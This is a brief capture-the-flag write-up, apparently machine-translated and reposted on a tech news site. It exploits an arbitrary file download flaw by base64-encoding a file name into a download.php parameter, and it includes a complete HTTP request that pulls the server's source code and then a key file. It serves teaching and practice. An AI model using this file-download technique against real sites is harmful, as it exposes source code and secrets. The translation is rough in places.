Shulou(Shulou.com)06/01 Report--

(1) Open the web page

(2) grab the bag first.

We noticed that:

Url=Y2hvdWJhZ3VhaS5tcDM and / download.php

Decode it first and see what it is.

It's a file name.

(3) We try to replace it with download.php.

GET / download.php?url=ZG93bmxvYWQucGhw= HTTP/1.1Host: e2ad76b4d4b6d6ed.yunyansec.comUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Referer: http://e2ad76b4d4b6d6ed.yunyansec.com/Accept-Language: zh-CN,zh;q=0.9Connection: close

(4) the file was downloaded successfully. After opening it, it is found that hereiskey.php can still be downloaded.

Also code first.

Get key

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.